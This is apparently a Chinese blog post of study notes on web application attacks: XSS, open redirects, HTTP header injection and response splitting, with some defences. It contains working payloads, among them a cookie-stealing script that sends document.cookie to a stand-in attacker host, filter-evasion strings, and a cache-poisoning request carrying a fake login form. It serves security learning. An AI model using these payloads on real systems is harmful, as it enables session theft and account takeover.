Web安全读书笔记6-XSS漏洞

反射性XSS漏洞
请求这个URL
https://wahh-app.com/error.php?message=Sorry%2c+an+error+occured
如果应用程序只是简单复制URL中message参数的值,并将这个值插入到位于适当位置的错误页面模板中:(应用程序响应)
<p>Sorry, an error occurred.</p>
如果Url经过专门的设计,
https://wahh-app.com/error.php?message=<scirpt>alert(‘xss’);</script>
那么在浏览器中就会弹出一个警告窗口
<p><scirpt>alert(‘xss’);</script></p>

通过攻击者的URL劫持用户的Cookie内容
(1) 用户正常登陆,得到一个令牌
Set-Cookie: sessId=182912djfkl23203
(2) 攻击者通过某种方法提交URL(URL编码加号表示空格,%2b表示加号)
https://wahh-app.com/error.php?message=<scirpt>var+i=new+Image;+i.src=”http”//wahh-attacker.com/”%2bdoucument.cookie;</script>
(3) 用户请求这个攻击者的url
(4) 服务器响应这个请求,响应中包含攻击者创建的JavaScript代码
(5) 用户浏览器执行这段代码
var i=new Image;i.src=http://wahh-attacker.com/+document.cookie;
这段代码向攻击者的服务器提出一个请求,请求中包含用户的会话令牌
Get /sessId=182912djfkl23203 HTTP/1.1
Host: wahh-attacker.com
如果应用程序有记住我功能,浏览器就保存了一个持久性cookie,这事不需要第一个步骤,即使用户并未处于活动状态或登陆应用程序,攻击者仍旧能够成功实现上述目标。

只有发布cookie的站点才能访问这些cookie,因此如果在wahh-attacker.com上的一段脚本查询document.cookie,是无法访问wahh-app.com发布的cookie的,所以必须要以XSS的方式才能访问。(一个域的页面不能读取或者修改另一个域的cookie或者DOM数据)
XSS攻击成功的原因是攻击者的恶意Javascirpt是由wahh-app.com送交给他的,所以document.cookie能够访问这个cookie。
另外这里可以通过https安全检查,因为攻击者提供的URL确实由wahh-app.com服务器传送的

邮件欺骗 对URL模糊处理 例如空格等用%3d替换 欺骗性就更大了

反射型XSS需要诱使用户访问它专门设计的URL,保存型XSS则不需要。
保存型XSS
一名用户提交的数据被保存在应用程序中(通常后端数据库中),然后不经适当过滤或净化就显示给用户,就会出现这种漏洞。
攻击者提交JavaScirpt代码作为一个问题提交,应用程序保存这个问题到数据库,其他用户查看这个问题就会在浏览器执行这个脚本,造成漏洞。

在上传文件中保存XSS
如果能够上传一个保护JavaScript的HTML或文本文件,且受害者查看这份文件,那么就会被攻击。
为防止这种攻击,许多应用程序禁止Html文件。但是允许上传JPEG图像。IE中,用户请求一个JPEG文件(并非通过嵌入式<img>标签),那么浏览器会将它的内容作为html处理,可以上传一个包含XSS的文件,并以.jpg扩展名命名,那么就会攻击
HTTP 1.1 200 OK
Date: Sat,6 May 2007
Server:Apache
Content-length: 19
Content-Type : image/jpeg

<script>alert(document.cookie)</script>
即使Content-type规定是图像,IE会忽略并把内容当做html处理,因为文件包含HTML的内容

基于DOM的XSS
假设应用程序的返回错误页面包含以下脚本
<script>
var a=document.URL
a=unescape(a)
document.write(a.substring(a.indexOf(“message=”)+8,a.length))
<script>
这段脚本解析Url,提取message参数的值,并将这个值写入HTML源代码中。
如果URL的设计如下:
https://wahh-app.com/error.php?message=<script>alert(‘xss’);</script>
就会造成攻击

保存型XSS比较经典的用Web电子邮件攻击,电子邮件中包含HTML的内容,应用程序会将第三方HtmL复制到向用户显示的页面中,攻击者发送包含恶意javacript html内容的邮件,就可能被攻击。

XMLHttpRequest 有一个重要的限制,只能用于向和调用它的页面相同的域提出请求

XSS攻击有效载荷
1 虚拟置换
向站点中注入Html标记,或者使用脚本在站点中注入精心设计的内容和导航条,这种攻击并没有修改保存在目标web服务器上的内容,而是利用应用程序处理并显示用户提交的输入方面的缺陷来置换。
这种置换的虚假信息可以误导用户,例如错误的股票信息

2注入木马

3 诱使用户执行操作
攻击者可以促使其他用户利用sql注入漏洞在数据库用户账户中添加一个新的管理员用户,燃火攻击这可以控制这个新账户,通过它执行恶意操作,但是任何对应用程序日志的调查结果将会怀疑为这名新建用户

4 利用信任关系
a 应用程序采用激活自动完成功能的表单,由应用程序提交的javascript就能截获任何以前输入的、用户浏览器保存在自动完成缓存中的数据。
b 一些web应用程序要求用户将其域名添加到浏览器的可信站点区域。这样会使攻击者可以执行任意代码,例如Windows程序。
<script>
var o=new ActiveXObject(‘WScritp.shell’);
o.run(‘calc.exe’)
</script>

5 扩大攻击范围
记录键击
监视用户的全部键击活动
<script>doucement.οnkeypress=function(){
window.status+=String.fromCharCode(window.event.keyCode)
}
window.status 浏览器的状态栏中显示全部内容
String.fromCharCode 把asc码值转换成字符

截获剪贴板内容
<script>
alert(window.clipboardData.getData(‘Text’))
</script>

使用Javascript对本地端口进行扫描,使用Java applet确定用户的IP地址

XSS攻击的传送机制
反射型XSS
电子邮件发送URL
即时消息发送URL
第三方站点发送Url
攻击者付费购买许多链接至一个URL的横幅广告,这个Url有XSS的有效载荷

XSS攻击一般都是利用精心设计的URL通过javascript来攻击

判定是否有XSS漏洞
提交
“><script>alert(document.cookie)</script>
这个字符串被提交到应用程序页面的每一个参数中,同时攻击者监控他的响应,如果发现攻击字符串按原样出现在响应中,那么程序有XSS漏洞(URL的参数中,如?q=…,反射型XSS测试)

有些应用程序存在防XSS漏洞,但是利用一些方式可以避开过滤
“><script >alert(document.cookie)</script >
“><ScRiPt>alert(document.cookie)</ScRiPt>
“%3e%3cscript%3ealert(document.cookie)%3c/script%3e 利用URL编码
“><scr<script>ipt>alert(document.cookie)</scr</script>ipt> 利用递归过滤漏洞
%00“><script>alert(document.cookie)</script>

反射型XSS漏洞的查找和利用
要对POST和GET方法都进行测试 因为有些POST方法也有漏洞可以利用

假设返回的页面中包含以下脚本
<input type=”text” name=”address1” value=”myxsjkfjdl”>
一种方法是终止包含字符串的双引号,结束input标签
“></script>alert(document.cookie)</script><!—
<!—是HtML注释的开始部分 用来屏蔽后面的内容
<!— 注释内容>
最后变为
<input type=”text” name=”address1” value=””></script>alert(document.cookie)</script><!—>
另一种避开过滤的利用方法,在input标签中注入一个包含javascript的事件处理器
“οnfοcus=”alert(document.cookie)
最后变为
<input type=”text” name=”address1” value=”” οnfοcus=”alert(document.cookie)”>

<script>var a=’mydjfkldjf’;var b=123;…</script>
利用XSS
‘;alert(document.cookie);var foo=’
变为
<script>var a=’’; alert(document.cookie);var foo=’’;var b=123;…</script>

<img src=”mylsjfkdjf”>
一些浏览器在src中可以包含javascript的src来进行XSS
javascript:alert(document.cookie)
或者可以用一个无效图像名称与一个onerror事件处理器
“οnerrοr=”alert(document.cookie)
变为
<img src=””οnerrοr=”alert(document.cookie)”>

注意以上的XSS攻击需要对特殊字符进行URL编码

避开基于签名的过滤(检测到攻击而阻止输入)
需要确定哪些字符或者表达式触发了过滤

大小写漏洞

空格漏洞

一些过滤匹配任何成对的起始与结束尖括号,删除其中的任何内容,但可以避开过滤
<input type=”hidden” name=”pageid” value=”foo”>
若可以控制value属性值
则可以注入
foo”><x style=”x:expression(alert(document.cookie)) 这样尖括号就不成对了
变成
<input type=”hidden” name=”pageid” value=”foo”>
<x style=”x:expression(alert(document.cookie))”>
许多标签在一个expression字符串中接受一个包含javascript的style属性
许多时候,浏览器接受未结束的html标签,但仍可以攻击
<img src=”” οnerrοr=alert(document.cookie)

如果遇到空字节,一些过滤会停止处理字符串,在被过滤的表达式前插入一个url编码的空字节可以避开过滤
foo%00<script>

<script/src=…
<scri%00pt>
expr/*****/ession

服务器在响应返回的攻击有效载荷会被浏览器解码,这样可以避开过滤,使用标准UTF-8编码,利用多余填补数据的标准编码以及省略分号的十六进制编码
<img src=jav a……
<img src=jav a……

var a=alert(“do”+”cument”+”.cook”+”ie”);eval(a) 来避开过滤

避开净化(将攻击字符串转换为无害)
将< 变为&lt 大于变为&gt是一种避开方法

递归净化漏洞

有时应用程序对注入的引号字符串插入反斜线转义来组织攻击者终止字符串,注入任意脚本。这种情况下,应该核实反斜杠本身是否被转义了,如果未被转义那么可以避开攻击
如果可以控制foo值
var a=’foo’
注入
foo\’;alert(document.cookie);//
//将剩余的脚本作为注释,防止因为应用程序自己的字符串分隔符造成语法错误
如果\\没有被转义,那么字符串变为
var a=’foo\\’;alert(document.cookie);//’
这样就会被攻击了

在前面的例子,如果反斜杠被正确的转义,但尖括号原样返回
注入
</script><script>alert(document.cookie)</script>//
则变为
<script>var a= ‘</script><script>alert(document.cookie)</script>//’
此时虽然javascript有错误,但是还是可以继续执行的

突破长度限制(输入长度限制)
将一个攻击有效载荷分布到几个不同的位置
若一个URL
https:/wahh-app.com/account.php?page_id=244&seed=12344&mode=normal
他将返回如下页面
<input type=”hidden” name=”page_id” value=”244”>
<input type=”hidden” name=” seed” value=” 12344”>
<input type=”hidden” name=” mode” value=” normal”>
如果应用程序有长度限制,阻止攻击字符串,可以将一个脚本分布到三个不同位置
https:/wahh-app.com/account.php?page_id=”><script>/*&seed=*/alert(document.cookie);/*&mode=*/</script>
则脚本变为
<input type=”hidden” name=”page_id” value=””><script>/*”>
<input type=”hidden” name=” seed” value=”*/alert(document.cookie);/*”>
<input type=”hidden” name=” mode” value=” */</script>”>
最终的HTML等效于黑色部分

还有一种将反射型XSS漏洞转换成一个基于DOM的漏洞
如果应用程序对复制到返回页面中的message参数长度限制,则可以使用
<script>eval(location.hash.substr(1))</script>
对当前url中的片段字符串求值,从而执行位于片段字符串中的另一段脚本,不受应用程序过滤影响,可以任意长度
https://wahh-app.com/error.php?message=<script>eval(location.hash.substr(1))</script>#alert(‘long script here’)

把POST请求变为GET请求看是否能够进行XSS攻击

使用非标准编码,然后HTTP content-type消息头的charset属性设置编码类型

专门控制URL的API
document.location
document.URL
document.URLUnencoded
document,referrer
window.location

基于DOM的XSS漏洞避开服务器确认的方法
请求这个url
https://wahh-app.com/error.php?message=Sorry%2c+an+error+occured
假设应用程序的返回错误页面包含以下脚本
<script>
var a=document.URL
a=unescape(a)
document.write(a.substring(a.indexOf(“message=”)+8,a.length))
<script>
DOM的XSS
这种应用程序的方式,有时会将URL提交给服务器,来检测是否有有效载荷,没有才可以继续执行。用这种方式来防御基于DOM的XSS攻击,但是可以用下面的方式来躲过过滤

当客户端脚本从URL中提取一个参数值时,它们很少将查询字符串正确解析成名称/值对,相反它们通常会在URL中搜索后面紧跟着等号的参数名称,然后提取直到URL结束位置,如上面就是这样,这样可以用两种方式来利用这个漏洞
第一 服务器根据每个参数而不是整个URL应用确认机制,可以将攻击载荷插入到易受攻击参数后面的虚构参数中
https://wahh-app.com/error.php?message=Sorry%2c+an+error+occured&foo=<script>alert(document.cookie)</script>
这时,虚构参数会被服务器忽略,因此不会受到任何过滤,但是,因此客户端脚本在查询字符串中搜索message=,并提取其后的全部内容,所以它包含有效载荷
第二 如果服务器对整个URL而不仅仅是消息参数确认,仍然可以将有效载荷插入到HTML片段字符#的右边避开过滤
https://wahh-app.com/error.php?message=Sorry%2c+an+error+occured#<script>alert(document.cookie)</script>
浏览器不将URL中的片断部分提交给服务器,因此攻击字符串不会被过滤,客户端提取所以内容,所以仍旧被复制到HTML页面源代码中。
如果在前面的应用中,应用程序使用更严格的解析,它在URL中搜索后面紧跟着等号的参数名称,提取等号的内容,直到遇到一个分隔符,如&或#,可以利用下面得攻击方式
https://wahh-app.com/error.php?foomessage=<script>alert(document.cookie)</script>&message=Sorry%2c+an+error+occured
或者
https://wahh-app.com/error.php#message=<script>alert(document.cookie)</script>

javascript 调试工具 firebug

攻击XSS漏洞的一种有效载荷,就是使用嵌入的javascript获取document.cookie属性,截获用户会话令牌
Set-Cookie:SessId=43kl4jk3j4kldkjfled;HttpOnly;
加入HttpOnly,,阻止客户端脚本访问cookie。虽然浏览器仍然会在请求的http消息头中提交这个cookie,但它不会出现在document.cookie返回的字符串中。,即只是当用户浏览有效域中的站点时,这个cookie在消息头中被自动发送。

防止XSS攻击
防止反射和保存性XSS攻击
反射和保存型Xss攻击常常由于没有适当的确认和净化造成的

防止基于DOM的攻击
确认输入
<script>
var a=document.URL;
a=a.substring(a.indexOf(“message=”)+8,a.length);
a=unescape(a);
var regex=/^(A-za-z0-9+\s)*$/
if(regex.test(a))
document.write(a);
</script>
确认将插入的数据只包含字母数字空白符


重定向攻击
应用程序使用户浏览器重定向方式

如果应用程序以下方式 易受到攻击
GET /redir.php?target=http://wahh-attacker.com/ HTTP/1.1 黑色的是用户控制的数据
Host:wahh-app.com

HTTP/1.1 302 Object moved 这个是一种重定向方式
Location: http://wahh-attacker.com/
通过用户控制的数据来设置重定向目标易于受到攻击
通常应用程序会使用一些防御来阻止攻击,但是可以避开:
(1) 应用程序检查用户提交是否有http://开头,如果是就阻止,避开方法
HtTp:// wahh-attacker.com/
%00http://wahh-attacker.com/
http://wahh-attacker.com/ 首行空格
//wahh-attacker.com/
%68%74%68%68……wahh-attacker.com 用URL编码方式
https://wahh-attacker.com/
(2) 应用程序会删除http://头或者整个外部域
http://http://wahh-attacker.com/
http://wahh-attacker.com/https://wahh-attacker.com/
hthttp://tp:// wahh-attacker.com/
(3) 应用程序会检查用户提交的字符串是否以指向它自己的域名的绝对URL开头或者是否包含这个url
http://wahh-app.com.wahh-attacker.com/ 如果应用程序控制wahh-app.com域的dns记录 那么就有可能被攻击
http://wahh-attacker.com/?http://wahh-app.com/
http://wahh-attacker.com/%23http://wahh-app.com/ URL编码

消息头注入
GET /home.php?uid=123 HTTP/1.1
Host:wahh-app.com

HTTP 1.1 200 OK
Set-Cookie: UserId=123
uid是用户输入的话,攻击者可以用0x0d回车符 0x0a换行符构造一个专门设计的请求,来注入一个换行符,从而在下面一行来注入其他数据
GET /home.php?uid=123%0d%0aFoo:+bar HTTP/1.1
Host:wahh-app.com
HTTP 1.1 200 OK
Set-Cookie: UserId=123
Foo:bar
如果发现换行符被应用程序阻止或者净化,尝试使用]
foo%00%0d%0abar
foo%250d%250abar %25是url编码的%
foo%%0d0d%%0a0abar

(1) 注入cookie
这里target的内容用户控制
GET /redir.php?target=/%0d%0aSet-cookie:+SessId%3d120a12f98e8; HTTP/1.1
Host: wahh-app.com

HTTP/1.1 302 Object moved
Location:/
Set-Cookie: SessId=120a12f98e8;
(2) 传送其他攻击
因为HTTP消息头注入可以控制整个响应主体,所以可以使用其他任何攻击
虚拟Web站点置换,脚本注入,任意重定向等

(3) HTTP响应分割攻击
第一步 :
攻击者在代理服务器缓存中选择一个希望毒害的应用程序页面,例如用一个木马表单(可以向攻击者的服务器提交用户证书)代替/admin/位置的页面
第二步:
利用消息头漏洞
GET/home.php?uid=123%0d%0aContent-Length:+22%0d%0a<html>%0d%0afoo%0d%0a</html>%0d%0aHTTP/1.1+200+OK%0d%0aContent-Length:+2307%0d%0a%0d%0a<html>%0a%0a<head>%0d%0a<title>Administrator+login</title>%0d%0a[….long url….] HTTP/1.1
HOST:wahh-app.com

响应将变为
HTTP/1.1 200 OK
Set-Cookie: UserID=123
Content-Length:22
<html>
foo
</html>
HTTP/1.1 200 OK
Content-Length: 2307
<html>
<head>
<title>Administrator login</title>
….

消息头注入一个完整的Http主体和另一组响应消息头和另一个响应主体,第二个消息主体有木马页面源代码。这样,服务器看起来像两个连接在一起的单独http响应。这叫HTTP响应分割。

第三步:
攻击者与代理服务器TCP连接,传送这个精心设计的请求,后面紧跟着访问被“毒害”的页面的请求,在HTTP协议中,以这种方式请求是合法的。
GET/home.php?uid=123%0d%0aContent-Length:+22%0d%0a<html>%0d%0afoo%0d%0a</html>%0d%0aHTTP/1.1+200+OK%0d%0aContent-Length:+2307%0d%0a%0d%0a<html>%0a%0a<head>%0d%0a<title>Administrator+login</title>%0d%0a[….long url….] HTTP/1.1
HOST:wahh-app.com
Proxy-Connection: Keep-alive Keep-alive表示长连接

GET http://wahh-app.com/admin/ HTTP/1.1
Host: wahh-app.com
Proxy-Connection:Close

第四步:
代理服务器与应用程序(web服务器)建立TCP连接,送出这两个以相同方式连接的请求

第五步:
应用程序用攻击者注入的HTTP内容响应的第一个GET请求,它看起来就像是两个独立的HTTP响应

第六步
代理服务器收到这两个看似单独的响应,并认为其中第二个响应与攻击者的第二个请求想对应,该请求指向URL http://wahh-app.com/admin。代理服务器把第二个响应作为这个URL的内容保存在缓存中(如果代理服务器已经在缓存中保存该页面的副本,那么攻击者可以在第二个请求中插入一个适当的IF-Modified-Since 消息头,并在注入的响应中插入一个Last-Modified消息头,使得代理服务器重新请求这个URL,用新的内容更新缓存)

第七步
应用程序发布它对攻击者的第二个请求的响应,其中包含http://wahh-app.com/admin的真实内容,代理服务器并不认为这个URL是它对发布的请求的响应,因而抛弃这个响应

第八步
一名用户通过代理访问http://wahh-app.com/admin,并收到这个URL保存在代理服务器中的内容,这个内容实际是攻击者的木马登陆表单,因而用户证书被攻破。

OSRF 本站点请求伪造
利用保存型XSS漏洞的常见攻击有效载荷
POST /submit.php
Host: wahh-app.com
Content-Length:34

type=question&name=daf&message=foo
这个请求导致以下内容被添加到消息
<tr>
<td><img src=”/images/question.gif”></td>
<td>daf</td>
<td>foo</td>
<tr>
如果用户在type参数提交
../admin/newUser.php?username=daf2&password=0wned&role=admin#
../将导致返回web根目录 然后admin会进入admin目录中/admin
任何查看消息的用户img src会导致提出一个GET请求
#终止后面的gif后缀
如果管理员用户查看该消息,将导致建立一个用户账户,即使管理员禁用javascript,该攻击也成立

XSRF 跨站点请求伪造攻击

JSON劫持
JSON常替代XML来传输javascript数据

会话固定

下面每个指令都可以阻止浏览器缓存一个页面 这些每一个都可以在http消息头或者html元标签meta中指定,
Expires ; 0
Cache-control: no cache
Pragma: no-cache
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值